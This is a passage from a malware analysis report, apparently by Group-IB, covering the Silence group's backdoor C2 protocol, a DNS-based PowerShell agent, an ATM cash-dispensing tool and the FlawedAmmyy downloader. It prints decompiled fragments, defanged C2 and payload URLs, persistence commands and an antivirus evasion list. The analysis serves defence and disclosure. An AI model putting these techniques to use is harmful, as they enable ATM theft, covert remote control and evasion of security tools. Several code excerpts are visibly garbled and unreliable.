<td><a href="http://185.29.10%5B.%5D26/showthread.php?yz=2&amp;alphayz=1234567890">http://185.29.10[.]26/showthread.php?yz=2&amp;alphayz=1234567890</a></td>
</tr>
<tr>
<td>Connect3</td>
<td>Sending command results</td>
<td><a href="http://185.29.10%5B.%5D26/showthread.php?yz=2&amp;alphayz=1234567890&amp;betayz=aaaaabbbbccc">http://185.29.10[.]26/showthread.php?yz=2&amp;alphayz=1234567890&amp;betayz=aaaaabbbbccc</a></td>
</tr>
</tbody>
</table>

<table>
<thead>
<tr>
<th>Command</th>
<th>Type of command</th>
<th>Description</th>
<th>Example of use</th>
</tr>
</thead>
<tbody>
<tr>
<td>nviodgs</td>
<td>reconnect</td>
<td>Terminate the command interpreter session, clear all temporary files, connect to CnC &quot;from scratch&quot;</td>
<td>nviodgs</td>
</tr>
<tr>
<td>cbthds</td>
<td>restart</td>
<td>Terminate the command interpreter session and restart it</td>
<td>cbthds</td>
</tr>
<tr>
<td>loikjhu</td>
<td>notasks</td>
<td>No operation</td>
<td>loikjhu</td>
</tr>
<tr>
<td>#ipsum</td>
<td>upload</td>
<td>Upload a specified file to CnC</td>
<td>#ipsum c:\some_file.exe</td>
</tr>
<tr>
<td>#lorem</td>
<td>wget</td>
<td>Download a file from a remote server and save it in the current directory</td>
<td>#lorem <a href="http://84.38.134%5B.%5D103/f.exe">http://84.38.134[.]103/f.exe</a> 1.exe</td>
</tr>
<tr>
<td>power\n</td>
<td>shell</td>
<td>Launch the command interpreter</td>
<td>power\n</td>
</tr>
<tr>
<td>\n&lt;cmd&gt;</td>
<td>run</td>
<td>Execute an arbitrary OS command using the command interpreter</td>
<td>\nipconfig</td>
</tr>
</tbody>
</table>
Detailed description of the commands:

- The restart command restarts the command interpreter, for example if the current console is unresponsive.
- The shell command launches a new hidden instance of the OS command interpreter, which will be used to covertly launch commands on the infected machine (the last line in the table above).
- The wget command delivers files from remote servers to PCs. The actor can specify which file to download and what name to save it under. The files are saved in the folder from which the executable file of the backdoor was launched. In the new version of the file, the command will not start if a string of less than 72 characters has been passed to it.
- The wput command is used to send the contents of a specified local file to the CnC server.

If none of the control commands are received from the CnC, the connection can be re-established right away or with a one- or ten-second delay, in a cycle.

Captured data is encoded using the coding algorithm with the native alphabet, Ail7al3BzpzxZq0Cks5cyYu1Dkt-dVw.Elr9eNW_FnT8fOu4Go5.gvR6HMQ2hvPX, and is then sent to the CnC server.

Despite the fact that the coding algorithm uses random data generation, the resulting coded data can be decoded on the server by the attacker because:

1. The random data generator has small entropy (it only generates digits from 0 to 3).
2. The random data generator has been intentionally designed this way to ensure that random data could be excluded based on the formula (since the result of multiplication will always be divisible by 4, and the random numbers are always less than 4).

Each character in the source data is coded into two symbols using two different arithmetic operations (formulas). This allows the source data to be decoded by solving a system of equations.

Encryption of the command output is performed based on the following correspondence table:

<table>
<thead>
<tr>
<th>P</th>
<th>C</th>
</tr>
</thead>
<tbody>
<tr>
<td>0</td>
<td>Ail7</td>
</tr>
<tr>
<td>1</td>
<td>alm3</td>
</tr>
<tr>
<td>2</td>
<td>Bzpzx</td>
</tr>
<tr>
<td>3</td>
<td>bZq0</td>
</tr>
<tr>
<td>4</td>
<td>Cks5</td>
</tr>
<tr>
<td>5</td>
<td>cyU1</td>
</tr>
<tr>
<td>6</td>
<td>Dkt</td>
</tr>
<tr>
<td>7</td>
<td>dVw</td>
</tr>
<tr>
<td>8</td>
<td>Elr9</td>
</tr>
<tr>
<td>9</td>
<td>eNW</td>
</tr>
<tr>
<td>10</td>
<td>Fnt8</td>
</tr>
<tr>
<td>11</td>
<td>Fou4</td>
</tr>
<tr>
<td>12</td>
<td>Go5</td>
</tr>
<tr>
<td>13</td>
<td>gvR6</td>
</tr>
<tr>
<td>14</td>
<td>HMQ2</td>
</tr>
<tr>
<td>15</td>
<td>hvPX</td>
</tr>
</tbody>
</table>

As shown in the table, each value from the P row uniquely corresponds to a value from the C row. The elements in the C row are four-digit strings. Taking into account that each character in the alphabet Ail7al3BzpzxZq0Cks5cyYu1Dkt-dVw.Elr9eNW_FnT8fOu4Go5.gvR6HMQ2hvPX belongs only to one line from the C row, you can make a reversible transformation:

\[ P[index] = C[index][\text{random} \% 4] \]

Let’s consider an example: let’s say you need to encrypt the character 7, hex("7") = 0x37. The program splits the number into 3 and 7. First, it encodes the character 7, choosing any character (let it be "V") from the string “dVw.”. After that, it encodes the character 3, now choosing an encoding character from the string “bZq0” (let it be “0”). As a result, the program has encoded the character "7" with the string "V0".
The program in question uses the following encryption algorithm:

```c
12 - index & 0x5;
lowString.len = customAlphabet[&index & 0x5].endAddress - customAlphabet[&index & 0x5].startAddress;
lowString = &customAlphabet[lowString];
randomElement1 = rand();
pstmt->lpVirtual->Write(pstmt, (randomElement1 % lowString.len + lowString->startAddress), 1, 0);
highString = &customAlphabet((plaintext >> 4) & 0x5);
highString.len = customAlphabet((plaintext >> 4) & 0x5).endAddress - highString->startAddress;
randomElement2 = rand();
result = pstmt->lpVirtual->Write(pstmt, (randomElement2 % highString.len + highString->startAddress), 1, 0);
```

The program can write an arbitrary string to the gxftcp.dat file in the current directory (from which the file in question was started). The string contains the address and port of the proxy server (in text form), which has been used by previous samples to proxy traffic to the CnC. It is worth noting that the new version only contains the code for writing to the file, while the code for reading the proxy and using the proxy for network communication no longer exists.
Comparison with the 2018 version

Based on the binary comparison of the two file versions using the BinDiff utility, the 68% of the new version consists of code used in the old version. The new version of the file contains 349 new functions, only 56 of which have more than 50 instructions.

This means that the new version is a recompiled old version. The changes are described in the table below.

<table>
<thead>
<tr>
<th>Feature</th>
<th>Value for the 2017 version</th>
<th>Value for the intermediate version</th>
<th>Value for the new version</th>
</tr>
</thead>
<tbody>
<tr>
<td>Application format</td>
<td>An executable service file named Default monitors</td>
<td>An executable service file named Default monitors</td>
<td>A simple executable file</td>
</tr>
<tr>
<td>Debug Data Section</td>
<td>yes</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>Availability of debug output</td>
<td>yes</td>
<td>no</td>
<td>no</td>
</tr>
<tr>
<td>Encryption of settings and key strings</td>
<td>no</td>
<td>yes</td>
<td>yes</td>
</tr>
<tr>
<td>Types of commands supported</td>
<td>htrjytrn, htcnfhn, ytnpfflx, #wget, shell, run</td>
<td>The same commands + #wput, nviodyg, cbthds, loikjhu, power, lorem, #ipsum</td>
<td></td>
</tr>
<tr>
<td>Parameters of the request Connect1</td>
<td>index.php?xy=1</td>
<td>index.php?xy=1</td>
<td>showthread.php?yz=1</td>
</tr>
<tr>
<td>Parameters of the request Connect2</td>
<td>index.php?xy=2&amp;axy=+x</td>
<td>index.php?xy=2&amp;axy=+x</td>
<td>showthread.php?yz=1&amp;x</td>
</tr>
<tr>
<td>Parameters of the request Connect3</td>
<td>index.php?xy=2&amp;axy=+x&amp;bxy=+y</td>
<td>index.php?xy=2&amp;axy=+x&amp;bxy=+y</td>
<td>showthread.php?yz=2&amp;alphpayz=+x&amp;betayz=+y</td>
</tr>
<tr>
<td>Proxy support</td>
<td>yes</td>
<td>yes</td>
<td>no</td>
</tr>
<tr>
<td>Is the gxftp.dat file used</td>
<td>no</td>
<td>Yes</td>
<td>Yes</td>
</tr>
<tr>
<td>User-Agent</td>
<td>\r\n\n</td>
<td>Microsoft Internet Explorer</td>
<td>Mozilla/5.0 (compatible; MSIE 10.0; Windows NT 6.1; Trident/5.0)</td>
</tr>
<tr>
<td>Encoding data from the bot to backend</td>
<td>Yes</td>
<td>The code has been slightly modified, but the algorithm has not changed</td>
<td>No change</td>
</tr>
<tr>
<td>Library used for network communication</td>
<td>Winhttp</td>
<td>Winhttp</td>
<td>Wininet</td>
</tr>
</tbody>
</table>
EDA

On 23 June 2019, Group-IB specialists tracked attacks on banks in Chile, Costa Rica, Ghana, and Bulgaria. The attacks involved a new tool, which is downloaded by the main Trojan Silence Main and based on the Empire (https://github.com/EmpireProject/Empire) and dnscat2 (https://github.com/lukebaggett/dnscat2-powershell/blob/master/dnscat2.ps1) open source projects for penetration testing. Group-IB dubbed the tool EmpireDNSAgent or EDA.

The file lisk.ps1 (SHA1 f88d4e44d85ef3acc24c8b459c68915c76e792ed) is a PowerShell script and is classified as the APT.Silence.EDA.ps1 agent. The program is designed to remotely control the compromised system via the DNS protocol and supports the following commands: changing the CnC address, downloading files from the network, sending a local file to the CnC server, executing commands in the cmd.exe command shell, collecting system information, rebooting and shutting down the system, and tunneling traffic.

EDA has only 24 functions, 23 of which are borrowed from dnscat2 with some changes (there are 37 functions overall in dnscat2). There is also another function, which is a command handler from Empire.
Communication with CnC is performed through the nslookup command utility. The agent requests a TXT record from the operator's DNS server, and then receives a command. Unlike dnscat2, the information is only encoded, instead of being encrypted. As such, the channel between the agent and the server is limited to 255 characters. Taking into account that these 255 characters include the domain, the points between each block of 64 characters (the maximum subdomain length), and all these data are encoded in hex, it appears that the server can receive about 120 bytes of data from the client at a time.

The function responsible for sending data and receiving commands from the server is shown below.

```c
tries = 0;
$LookupType = "TXT"
$Packet = Add-DNEDots $Packet
$Packet = [","," + "$Domain"
$Command = "".
$Done = $False
while ($Done -eq $False) -and ($tries -lt 10)) {
    if ($DNSServer -eq ""){
        $Command = ("set type=$LookupType\server $DNSServer\set retry=1\n + $Packet + "\nexit")
    } else{
        $Command = ("set type=$LookupType\set retry=1\n + $Packet + "\nexit")
    }
    $result = (\$Command | nslookup 2>\$1 | Out-String)
    if ($result.Contains("\n")){
        $Done = $True
        $result = ($result|Select-Object -First -1).Value
    }
    $tries = $tries + 1;
}
if ($Done) {
    return $result
}
```

**xfs-disp.exe**

On 25 February 2019, a malicious file designed to attack ATMs was uploaded to VirusTotal from Russia via the web interface. Its compilation date is 10 February 2019.

The file contains a path to the project on the developer's machine: `C:\_bkittest\dispenser\Release_noToken\dispenserXFS.pdb`.

The program is designed to:

- receive information about various ATM devices and display it to the administrator either in a log file or in a window on the screen.
- substitute ATM cassette data.
- withdraw cash from ATMs.
The malicious program scans all running processes (except its own) for msxfs.dll and injects code into the process where the .dll file is detected.

- Processes are enumerated using the Process32FirstW and Process32NextW functions.
- Modules loaded into the processes are enumerated using the OpenProcess, EnumProcessModulesEx, and GetModuleFileNameExA functions.

Once the msxfs.dll module has been detected in one of the processes, the application creates the mutex Global\[x\][pid] to block a possible repeated injection into the same process.

- x is the number 1337 in hex (hard-coded); the unaffected bits of the number are filled with zeros.
- pid is the process identifier for the injection in hex; the unaffected bits of the number are filled with zeros;
- An example of the resulting mutex value (as a string) for pid: == 2100- "Global\0000053900000834".

If such a mutex already exists, the application does not inject its code into the current process.

If the mutex does not exist, a shellcode of 4,960 bytes is injected into the current process. The injection is performed using the VirtualAllocEx, WriteProcessMemory, and CreateRemoteThread functions.

The shellcode is used to enumerate all threads in the application in a loop (except the shellcode thread), freeze the threads and then call the WFSCleanUp() function in a cycle to terminate the connection between the application and the XFS Manager.

The application in question creates a log file called C:\xsasdf.txt during its operation and writes detailed debug messages to it.
The program creates a window of the win32app class with the name NO_TOKEN and displays debug information in it:

```
Waiting for freeze msxds processes...
5...
4...
3...
2...
1...
Starting WFSManager...
Connecting...
Trying Nautilus.
Connected Nautilus.
Connected. Version: wfs:1.1, srvc:0.0, spi:1.1
Unknown version 0
Disconnecting...
```

Following this, the application creates a new thread, in which it sends a message to the above-mentioned window in an eternal loop with an interval of 1 second to display it on top of other windows, even when the window is deactivated.

To launch the main stream with a payload, the WM_COMMAND message is sent with wParam == 0x1337.

```
case WM_COMMAND:
    if ((WORD)wParam == 0x1337 )
        sub_40209E();
```

The application alternately attempts to open service providers of dispensers for Nautilus, Diebold, NCR, and Wincor ATMs.

If the version of the dispenser service provider is 2, the program receives data on ATM cash units using one of the following methods:

- By calling the function WFSGetInfo() with the flag dwCategory == WFS_INF_CDM_CAPABILITIES the attacker receives the value of the field wMaxDispenseItems from the _wfs_cdm_caps structure to find out the maximum number of banknotes that can be dispensed in a single operation. This information is displayed to the administrator and stored in the log.
- By calling the function WFSGetInfo() with the flag dwCategory == WFS_INF_CDM_STATUS the attacker receives values for the fields fwDevice, fwSafeDoor, fwDispenser, and fwIntermediateStacker from the _wfs_cdm_status structure to find out the current status of the dispenser (whether it is connected and busy), the state of the safe door, the state of the dispenser’s logical cash units, the state of the shutter, etc. This information is displayed to the administrator and stored in the log.
- By calling the function WFSGetInfo() with the flag dwCategory == WFS_INF_CDM_CASH_UNIT_INFO, the attacker can gain information about the status and contents of ATM cassettes. The output is displayed as a format string ld:%s(nr=%d)(l=%d,h=%d), %d|%d|%d of %d [s][d][d][d], %d [s][d][d][d][d][d][d][d]\n, where the numbers from the output of the above-mentioned
function are added instead of %s and %d. This information is displayed to the administrator and stored in the log.

- Cash is then withdrawn by calling the function WFSExecute with the flag 
  dwCommand==WFS_CMD_CDM_DISPENSE (dispense banknotes from cassettes). That said, the value of cCurrencyID which is used as an identifier of the required currency is set to " " (0x202020 in hex). We did not manage to identify the currency type by ID.

The code of the WFS_CMD_CDM_DISPENSE command to issue banknotes from cassettes serves as the second argument. The banknote denomination parameters are transmitted during the call. Denomination is the process of selecting the number of banknotes from specific cassettes to be put together for a required sum for withdrawal (i.e. which banknotes are to be dispensed).

The structure below serves as the third argument:

```
LPWFSCMDISPENSE lpDispense;
typedef struct _wfs_cdm_dis pense
{
    USH ORT usTellerID;
    USH ORT usMixNumber;
    WORD wPosition;
    BOOL bPresent;
    LPWFSCMDMDENUMINATION lpDenomination;
} WFSCMDISPENSE, *LPWFSCMDISPENSE;
```

The code below is used to fill this structure in the bot.

```
/* &wfs_cdm_dis pense bPresent = 1; */
/* &wfs_cdm_dis pense.usMixNumber = 0; */
/* &wfs_cdm_dis pense.usTellerID = 0; */
/* strcpy(denom.cCurrencyID, " "); */
/* (&wfs_cdm_dis pense.wfs_cdm_denomination + 2) = &denom; */
/* (&denom.usCount + 1) = &wfs; */
/* (&denom.ulAmount + 3) = &wfs; */
/* (&denom.ulValues + 1) = 0x; */
if (WFSExecute( &wfs_cdm_dis pense, 60000, 8, &wfs_cdm_dis pense );)
```

The denomination structure is filled with the values received when calling the function of obtaining the number of available banknotes, probably in order to extract the entire contents of ATM cassettes at once.

Interestingly, the field bPresent in this structure is set to TRUE. This means that after the command is executed to collect banknotes from the cassettes, they will be dispensed to the customer.

The steps for collecting data about cassettes and dispensing cash are repeated four times in a cycle.
If the version of the dispenser service provider is 3, the program performs the following actions:

1. Sends the RESET command to CDM by calling the WFSExecute function with the flag `dwCommand == WFS_CMD_CDM_DISPENSE`.
2. Receives data about ATM cash units.
3. Receives the maximum number of banknotes that can be withdrawn in a single operation using the same method as in version 2 (described above).
4. Receives the current status of the dispenser (whether it is connected and busy), the state of the safe door, the state of dispenser’s logical cash units, the state of the shutter, etc. using the same method as in version 2 (described above).
5. Receives information about cassettes and banknotes in the same way as in version 2 (described above).
6. Cash is then withdrawn by calling the WFSExecute function with the flag `dwCommand == WFS_CMD_CDM_DISPENSE` (dispensing banknotes from cassettes).
7. If an error with the code -306 occurs, the WFSExecute function is called with the `dwCommand == WFS_CMD_CDM_PRESENT` flag to open the shutter and cause banknotes to be dispensed.
8. The steps for collecting data about cassettes and dispensing cash are repeated four times in a cycle.
9. Re-sends the RESET command to CDM.

If the version of the dispenser service provider is 3 and the application has been started with the command line argument `--exchange`:

1. CMD is set to RESET mode by calling the function WFSExecute with the flag `dwCommand == WFS_CMD_CDM_START_EXCHANGE`.

Command description from the specification:

**WFS_CMD_CDM_START_EXCHANGE**

Description: This command puts the CDM in an exchange state, i.e. a state in which cash units can be emptied, replenished, removed or replaced.

2. CMD terminates RESET mode by calling the WFSExecute function with the flag `dwCommand == WFS_CMD_CDM_END_EXCHANGE`.

**WFS_CMD_CDM_END_EXCHANGE**

Description: This command will end the exchange state. If any physical action took place as a result of the `WFS_CMD_CDM_START_EXCHANGE` command then this command will cause the cash units to be returned to their normal physical state. Any necessary device testing will also be initiated.

The application can also use this command to update cash unit information in the form described in the documentation of the `WFS_INF_CDM_CASH_UNIT_INFO` command. It modifies the WFSCDMCUINFO structure (and the structure WFSCDMCASHUNIT embedded in it), which is passed as an argument when calling the function WFSExecute(`WFS_CMD_CDM_END_EXCHANGE`)...
3. Sets the number of cassettes to 6.
4. Renames each cassette to "USD".
5. Sets the number of bills to 1,000 for each cassette.

```c
sprintf(&lphiscu3.cunitID[1], 3u, "USD");
sprintf(&lphiscu3.lpsCashUnitName, 5u, "USD A");
sprintf(&lphiscu4.cunitID[1], 3u, "USD B");
sprintf(&lphiscu4.lpsCashUnitName, 5u, "USD C");
sprintf(&lphiscu5.cunitID[1], 3u, "USD D");

lpList[0] = &cashunit;
lpList[1] = &cashunit;
lpList[2] = &cashunit;
lpList[3] = &cashunit;
lpList[4] = &cashunit;
lpList[5] = &cashunit;

cashunit.info.usTelleroId = '0';  // not used field
cashunit.info.usCount = 6;
lpList = lpList;
```

6. Retrieves data about cassettes by calling the function WFSExecute with the flag `dwCommand==WFS_INF_CDM_CASH_UNIT_INFO`, modifies data received and updates them by calling the function WFSExecute with the flag `dwCommand==WFS_CMD_CDM_SET_CASH_UNIT_INFO`.

7. Values are replaced by enumerating all logical and physical cash units and modifying fields of the WFSCDMPHCU and WFSCDMCASHUNIT structures. The number of banknotes in a cassette is set to 1,000.

```c
if ( lpCinfo->usCount && lpList->lpList )
{
    cashunit = lpList->lpList[i];
    if ( cashunit )
    {
        for ( i = 0; i <= lpList->lpList[i]; ++i )
        {
            physicals = cashunit->lpPhysicals[i];
            if ( physicals )
            {
                *(physicals->uInitialCount + 1) = 0;
                *(physicals->uMaxCount) = 0;
                *(physicals->uInitialCount) = 0;
            }
        }
    }  // cashunit->uType == 3
}
```

This could be the maximum number of notes in a cassette, which is why this value is set for the `ulCount` and `ulInitialCount` fields in order to withdraw the maximum amount of cash from ATMs.
FLAWEDAMMYY ANALYSIS AND ITS COMPARISON WITH SILENCE.DOWNLOADER

The analysis of Silence’s activities by Group-IB experts revealed that FlawedAmmyy.Downloader and Silence.Downloader are written by the same person. That said, the infrastructure used for FlawedAmmyy attacks differs greatly from Silence attacks, which means the attacks themselves are not interrelated.

Since early summer 2018, FlawedAmmyy.Downloader has been used in attacks on various targets in various regions. Some researchers believe this tool is used by the TA505 group to conduct its operations.

According to Group-IB analysts, the developer is a Russian speaker and works actively on underground platforms. It should be taken into account that the author of Silence.Downloader developed only FlawedAmmyy.Downloader. We cannot determine whether he or she is the author of FlawedAmmyy.Payload.

Currently, we cannot confirm or deny the participation of this developer in Silence operations. We can only claim that the author develops software for hackers.

Digital certificate

In December 2018, two incidents were discovered in which Silence.Downloader (SHA1 81673f941092618231599e910300249e13903c32) was signed with the same certificate as FlawedAmmyy (SHA1 7c5f06b9c929f0effcb052e87d7d07b814a41d5 and 9b3fa43a3bb13571fb8f7df69bee8b077ac938):

<table>
<thead>
<tr>
<th>ITGS Consultancy Ltd</th>
</tr>
</thead>
<tbody>
<tr>
<td>Name</td>
</tr>
<tr>
<td>Status</td>
</tr>
<tr>
<td>Valid From</td>
</tr>
<tr>
<td>Valid To</td>
</tr>
<tr>
<td>Valid Usage</td>
</tr>
<tr>
<td>Algorithm</td>
</tr>
<tr>
<td>Serial Number</td>
</tr>
</tbody>
</table>

The same certificate was used by FlawedAmmyy.Downloader (MD5 7af426e0952b13ef158a4220e25df1ae).
Description and background of FlawedAmmyy

On 10 January 2017, the source code of a remote control tool called Ammyy Admin was published online in a public repository.

FlawedAmmyy is a modified version of Ammyy Admin, which is based on source code leaked in 2017. The Downloader’s main task is to download FlawedAmmyy and install it into the system. Both Downloader and Payload are very specific and stand out from other versions based on the same source code.

FlawedAmmyy.Downloader

The file is designed to download an executable file from a remote server at http://31.207.45[.]85/d.dat and run it. It contains many fake API calls, which were added to generate a file import table similar to a non-malicious one. The goal is to bypass the heuristics of AV products.
The file contains gibberish (shown below), which is most likely used to bypass antivirus emulators.

The file will terminate its operation once it has detected that one of the following processes belonging to antivirus solutions is running: QHACTIVEDEFENSE.EXE, QHSAFETRAY.EXE, QHWATCHDOG.EXE, CMDAGENT.EXE, CIS.EXE, V3LITE.EXE, V3MAIN.EXE, V3SP.EXE, EGUI.EXE, EKRN.EXE, SPIDERAGENT.EXE, DWENGINE.EXE, DWARKDAEMON.EXE, BULLGUARDTRAY.EXE, BDAGENT.EXE, BULLGUARD.EXE, BDSS.EXE, or BULLGUARD.EXE.

In the event that the file has been launched under an administrator account, it performs the following actions:

1. Terminates the process named wsus.exe four times in a row (if it is present);
2. Deletes the following AMMYY files, if they are present:
   - %COMMON_APPDATA%\AMMYY\wmihost.exe
   - %COMMON_APPDATA%\AMMYY\settings3.bin
   - %COMMON_APPDATA%\Foundation\wmites.exe
   - %COMMON_APPDATA%\Foundation\settings3.bin
   - %COMMON_APPDATA%\Foundation1\wmites.exe
   - %COMMON_APPDATA%\Foundation1\settings3.bin
   - %COMMON_APPDATA%\Microsoft\wsus.exe
   - %COMMON_APPDATA%\Microsoft\settings3.bin
   - %COMMON_APPDATA%\Microsoft Help\wsus.exe
   - %COMMON_APPDATA%\Microsoft Help\settings3.bin
   - %COMMON_APPDATA%\Microsofts Help\wsus.exe
   - %COMMON_APPDATA%\Microsofts Help\settings3.bin
3. Deletes the following AMMYY directories, if they are present:
   - %COMMON_APPDATA%\Settings
   - %COMMON_APPDATA%\Microsoft\Enc
   - %COMMON_APPDATA%\AMMYY
   - %COMMON_APPDATA%\Foundation
   - %COMMON_APPDATA%\Foundation1
4. Starts the following commands to terminate and delete the AMMYY service, if it is currently running:
   - cmd.exe /C net stop foundation
   - cmd.exe /C sc delete foundation
5. Terminates the process named wsus.exe twice in a row (if it is present).
6. Creates the following directory: %COMMON_APPDATA%\Microsofts Help.
7. Downloads an encrypted file from the network host http://31.207.45[.]85/d.dat and saves it under the name of the form %COMMON_APPDATA%\Microsofts Help\temp_\[random_dword].FOOP0xFCBEEA. An example of file location on disk: C:\ProgramData\Microsofts Help\temp_84c350.FOOP0xFCBEEA. The file is requested from a remote node using GET requests via unencrypted HTTP. An example of a file request is shown below:

```
GET /d.dat HTTP/1.1
Host: 31.207.45[.]85
Cache-Control: no-cache
```

8. Reads and decrypts the contents of the file %COMMON_APPDATA%\Microsofts Help\temp_\[random_dword].FOOP0xFCBEEA. For decryption, the RC4 algorithm is used with the key ZAKDSh327uif.

9. Writes the decryption result (unencrypted file) to the file %COMMON_APPDATA%\Microsofts Help\wsus.exe.

10. Removes the temporary file %COMMON_APPDATA%\Microsofts Help\temp_\[random_dword].FOOP0xFCBEEA.

   If the first two bytes of the decrypted file are not the "MZ" characters – which means the executable file has not been decrypted correctly – the file will be terminated and self-removed. The self-deletion is performed by running the shell with the arguments
   `/del [exefile] >> NUL.`

11. Following this, it executes the decrypted file %COMMON_APPDATA%\Microsofts Help\wsus.exe.

12. If the file has been successfully launched, it will re-delete the temporary file.

13. Adds the launched file to autostart. This is done in one of three ways:
   a. Autostart via system registry:

```
[HKEY_CURRENT_USER\Software\Microsoft\Windows\CurrentVersion\Run]
"MicrosoftsSoftware"= %COMMON_APPDATA%\Microsofts Help\wsus.exe
```

   b. By creating a delayed task in Windows Task Scheduler:

The task has the name Microsoft Window Center, starts when the current user logs in to the account, and has a specific feature: a hard-coded initial activation date, which is not important for autostart due to the presence of the condition that the file is launched when the user is logging in.

   c. By creating a delayed task using COM and connecting to a objectCLSID_TaskScheduler class object:
14. Autorun by creating and launching an auto-start service under the name foundation. This is done by calling commands of the form:

```
"sc create foundation binPath= \[exename\] -service\" type= own start= auto error= ignore"
"net.exe start foundation y"
```

If the file has been started under an admin account, the file ensures persistence in the system using the auto-start service.

If the file has not been started under an admin account, the file ensures persistence in the system using the registry and the task scheduler (once a task is created, it is immediately executed).

The executable file then terminates its operation and deletes itself from the system.

**FlawedAmmyy.Payload**

At the entry point, the file with the payload performs the same checks for running anti-virus processes, anti-emulator and fake API calls to bypass heuristics.

Following this, the program creates a ServerApp class object containing 3 methods described in a ServerApp class virtual table:

```
.rdata:004BAFE8 ; const ServerApp::'vftable'
.rdata:004BAFE4 dd offset ??ServerApp@@6B@ ; const ServerApp::'RTTI Complete Object Locator'
.rdata:004BAFE8 ; const ServerApp::'vftable'
.rdata:004BAFE8 ??_7ServerApp@@6B@ dd offset unknown_libname_3
.rdata:004BAFE5 dd offset Init
.rdata:004BBFF0 dd offset server_start
.rdata:004BFFFF dd offset server_stop
```
The first (pre-initialisation of the application) and the second (server start) methods are called:

- Compared to the original source code, initial functions that are used to check the command line arguments of the application, such as AmmyyApp::ParseCommandLine(), etc., have been removed from the file. The launch is hardcoded: either as a service or as an application, without additional unnecessary application execution options.
- Depending on how the .exe file (an application or service) has been started, a particular function will be executed.

Other changes compared to the source code:

- The name of the log file has been changed from AMMYY_service.log to service.log;
- The name (description) of the service (AMMYYSERVICENAME AmmyyAdmin) has been changed to FossPass;
- The name of the service, which is used to name the application saved in the registry, has been changed to netsxuid.

The service name is saved in the registry as follows:

```
[HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services]
"netsxuid"<rnd_dword>
```

A binary comparison of the sample and the legitimate versions of the Ammyy Admin application shows that they differ greatly.

The sample has new features that are not included in the legitimate application, redesigned code structure, and data whose creation would have been impossible without recompiling the application’s source code.

All these facts indicate that the file is a modified version of the published source code.

Two modifications have been added to the TrClient::Run() function, which is called while connecting to the CnC and sending and receiving commands:

- After connecting to the CnC server (the ConnectToRouter() function), the application collects data about the compromised system and sends it to the CnC;
- Below is a list of supported AMMYY command types. Each type of command corresponds to a specific command that can be received remotely from an attacker (CnC) and executed.
{  
  // viewer <-> target both ways
  aaNop       = 10,
  aaPingRequest = 11,  // uses by Router also
  aaPingReply  = 12,  // uses by Router also
  aaSound     = 13,
  aaCutText   = 14,

  // target -> viewer
  aaScreenUpdate      = 21,
  aaSetColourMapEntries = 22,
  aaPointerMove       = 23,
  aaError              = 24,
  aaDesktopUnavailable = 25,

  // viewer -> target
  aaSetEncoder        = 40,
  aaDesktopOFF        = 41,
  aaSetPointer        = 42,
  aaScreenUpdateRequest = 43,  // full screen update request
  aaScreenUpdateCommit = 44,
  aaKeyEvent          = 45,
  aaPointerEvent      = 46,
  aaRDP                = 47,
  aaDirectConnect      = 48,
  aaSpeedTest          = 49,

  // FileManager: viewer -> target
  aaFileListRequest    = 60,
  aaFolderCreateRequest = 61,
  aaRenameRequest    = 62,
  aaDeleteRequest     = 63,
  aaDownloadRequest   = 64,
  aaUploadRequest     = 65,
  aaUploadData        = 66,
  aaUploadDataLast    = 67,
  aaDownloadDataAck   = 68,

  // FileManager: target -> viewer
  aaFmReply           = 70,
  aaUploadDataAck     = 71,
  aaDownloadData      = 72,
  aaDownloadDataLast  = 73,
};
Compared to the original source code, commands with the codes 50, 51, 52, 53, 54, 55 have been added to the examined file. The table below shows the values of the added command types:

<table>
<thead>
<tr>
<th>Command</th>
<th>Function</th>
</tr>
</thead>
<tbody>
<tr>
<td>50</td>
<td>Run an arbitrary command and store its output</td>
</tr>
<tr>
<td>51</td>
<td>No operation</td>
</tr>
<tr>
<td>52</td>
<td>Collect and upload system information</td>
</tr>
<tr>
<td>53</td>
<td>Extract an executable file from resources, run it and save the results of its operation to the file log.txt.</td>
</tr>
<tr>
<td>54</td>
<td>System reboot</td>
</tr>
<tr>
<td>55</td>
<td>Self-removal</td>
</tr>
</tbody>
</table>

Once command 53 is received, the application extracts one of the executable files (for x86 or x64 architecture) from the resources of the application, saves it under the name %Temp%\default.bin, executes it, and saves the results of its operation into the file log.txt. The analysed sample does not contain executable files that are extracted when command 53 is received. However, based on the debug information and features of the function code, it can be suggested that the resources may contain Mimikatz, an application designed to retrieve user credentials.

The path to the directory on the attacker’s PC where the malicious file has been assembled is s:\new stage\freelance\ice\clear_av_ammy\1\clear\ammyygeneric\get\.

**Comparison of FlawedAmmy.Downloader with Silence.Downloader**

During the analysis of new FlawedAmmy samples, we noted the following similarities to Silence.Downloader:

- File names
- Similar code fragments
- Code obfuscation methods used.

Having studied the two files, we can conclude that these are two different tools with many connections between them.

Silence.Downloader is a universal resident loader, which collects system data, sends it to the CnC, adds itself to startup, and receives commands to download any files from the remote attacker.

FlawedAmmy.downloader is a target non-resident loader for the FlawedAmmy tool, which configures the system to start a service called foundation, downloads and launches the file, and then deletes itself.

Group-IB specialists analysed the following samples:
1. A file named 
"600e1adba4983692e9b74e631e155eab65279dd2ab73bb35fbd6e0e84d0e68a5"
(размер 126976 байт, MD5 94531c20462f69c6135c4d0a06925471)
which is a FlawedAmmyy RAT loader.

2. A file named 
"18462ae676c539b2a3626a7b465123b20c88bd68342777a090f40b7dcb7ace0d"
(размер 115200 байт, MD5 914F6BA6A3A043ECC961296FA94A6BAD)
which we classify as Silence.Downloader.

Common characteristics of the samples:
- The same programming language, development environment and the same version were used for compilation – Visual Studio 2013 (based on information extracted from the Rich header of the executable file);
- Identical technique for generating a non-executable code portion containing multiple fake API calls (without a single argument). This technique is designed to generate legitimate-seeming import tables and complicate its detection by heuristic antivirus methods.
- For generation, a function from Windows API – CoCreateGuid() – is used. It generates a unique 128-bit number. The result of the function is written to the GUID structure. Below is a formal definition of the GUID structure:

```c
typedef struct _GUID {
    DWORD Data1;
    WORD  Data2;
    WORD  Data3;
    BYTE  Data4[8];
};
```

Both files use only a part of the fields from this structure. As a result, the number will be calculated using the following formula:

For FlawedAmmy.Downloader:

```
GUID_INT = GUID.Data3 + GUID.Data1 * GUID.Data2
```

For Silence.Downloader:

```
GUID_INT = GUID.Data1 * GUID.Data2 + GUID.Data3 + 0xCB6
GUID_INT = GUID.Data1 * GUID.Data2 - GUID.Data3 + 0xD435
```

For FlawedAmmy.Downloader, decrypted files will be saved to the following path:
For Silence.Downloader, decrypted files will be saved to the following path:

